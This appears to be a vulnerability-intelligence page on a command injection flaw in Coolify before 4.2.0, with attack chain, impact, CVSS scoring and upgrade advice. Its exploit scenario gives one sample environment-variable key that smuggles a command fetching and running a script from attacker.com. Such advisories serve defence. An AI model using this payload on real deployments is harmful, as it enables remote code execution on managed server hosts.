Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Coolify as low-privilege user
-
DeliveryNavigate to application environment variable settings
-
ExploitInject shell metacharacters into environment variable key name
-
InstallSave configuration to trigger future command use
-
C2Coolify constructs malicious Docker SSH command incorporating poisoned key
-
ExecuteSSH shell on managed server executes injected commands
-
ImpactArbitrary code runs on host outside containers
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a valid Coolify account with permission to create or modify environment variables for at least one application - low-privilege platform access (developer or team-member role) is sufficient; administrative rights are not required. The targeted Coolify instance must be actively managing at least one server via SSH, which is the core function of the platform and effectively a universal condition for any functional Coolify deployment. Exploitation requires that Coolify subsequently execute a Docker command using the poisoned environment variable key, which occurs during normal deployment or container lifecycle operations and does not require any additional victim interaction. The flaw is limited to Coolify installations running versions prior to 4.2.0; instances already upgraded to v4.2.0 or later are not affected. |
| Impact | The CVSS 4.0 score of 8.7 accurately characterizes this vulnerability: network-reachable, low complexity, and requiring only low-privilege authenticated access (PR:L), with high confidentiality, integrity, and availability impact on the vulnerable system. The critical risk amplifier beyond the score is that successful exploitation produces arbitrary code execution on the managed server host, entirely outside container isolation - functionally a container escape achieved without exploiting any container runtime CVE. Any Coolify user with permission to create or modify application environment variables is a potential attacker; in typical self-hosted deployments, this includes developers and team members with routine platform access, not just administrators. The attack requires no special network position beyond reaching the Coolify web interface, and no user interaction from a victim. No public exploit code has been identified at time of analysis, and CISA KEV listing is not confirmed; EPSS data was not provided. The standard CWE-78 injection pattern and the low attack complexity suggest this vulnerability is straightforward to reproduce once the patch diff is public, making prompt patching the critical control. Smaller deployments - even a mid-sized IT team running a self-hosted Coolify instance - should treat this as urgent given the potential for full host compromise with developer-level credentials. |
| Exploit ScenarioDerived | An authenticated Coolify developer with access to at least one application creates or edits an environment variable and sets the key name to a value such as MYVAR;curl${IFS}attacker.com/shell.sh|bash;#. The next time Coolify runs a Docker command incorporating that variable - during a deployment or container start - the injected shell content executes on the managed server host as the SSH user, achieving full host-level code execution outside any container. No public proof-of-concept has been identified, but the attack requires only web UI access and familiarity with basic shell injection techniques. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 02, 2026
Authenticated command injection in Coolify before 4.2.0 allows low-privileged platform users to execute arbitrary OS commands on managed server hosts by embedding shell metacharacters into Docker environment variable key names. The flaw bypasses container isolation entirely - injected payloads travel over SSH as part of Coolify-generated Docker commands and execute in the host OS context, not within any container sandbox. The upstream fix in v4.2.0, confirmed by GitHub release tag and patch commit b50839d4515b115b7ded5db609471440249995da, adds validation constraints in ValidationPatterns.php to reject malformed key names before command construction.
RemediationAI
Upgrade Coolify to v4.2.0 or later immediately, available at https://github.com/coollabsio/coolify/releases/tag/v4.2.0. The patch commit b50839d4515b115b7ded5db609471440249995da adds validation constraints in app/Support/ValidationPatterns.php that reject environment variable key names containing shell metacharacters before they reach Docker command construction, closing the injection vector. If an immediate upgrade is not feasible, restrict the ability to define or modify application environment variables to the most trusted users only (effectively platform administrators), since any user with that capability can exploit this flaw regardless of their application-level role. Network-level controls on SSH access between the Coolify host and managed servers do not mitigate this vulnerability, because the malicious payload originates from within Coolify's own command generation logic. The VulnCheck advisory at https://www.vulncheck.com/advisories/coolify-before-4.2.0-remote-code-execution-via-environment-variable-key provides additional context and should be reviewed for any supplementary guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify is an open-source, self-hostable PaaS built on Laravel 12 and Livewire 3 that provisions and manages applications, databases, and services by constructing Docker commands and transmitting them over SSH to managed servers. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). When Coolify builds Docker commands incorporating user-supplied environment variable definitions, it interpolates key names directly into the shell command string without sufficient sanitization. Because environment variable keys are typically treated as trusted developer input, validation is commonly applied to values but overlooked for keys. Shell metacharacters injected into a key name (semicolons, backticks, $() subshell syntax, pipes) cause the SSH shell on the managed server to interpret the extra content as independent commands, executing them in the context of the SSH user - outside any Docker container boundary. The referenced files app/Policies/ApplicationPolicy.php and app/Support/ValidationPatterns.php indicate the fix added an allowlist-based constraint on permissible characters in environment variable key names, preventing injection at input validation time rather than at command-construction time.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable with only low-privilege authenticated access; scope changes because injected commands escape the container and execute on the host OS.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
Lifecycle Timeline
2DescriptionCVE.org
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers.
Articles & Coverage 1
Executive ViewAI
Coolify container-management deployments before v4.2.0 expose infrastructure to unauthorized host-level access by low-privileged platform users, allowing arbitrary command execution on production servers and circumventing container isolation protections. Organizations leveraging Coolify for distributed containerized workloads face direct OS-level compromise if platform permissions are granted beyond strict administrative needs. This vulnerability directly threatens the isolation model that containerized infrastructure depends on.
Apply vendor patch (Coolify v4.2.0 or later).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-69785
GHSA-xf4v-vq77-2rgv
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB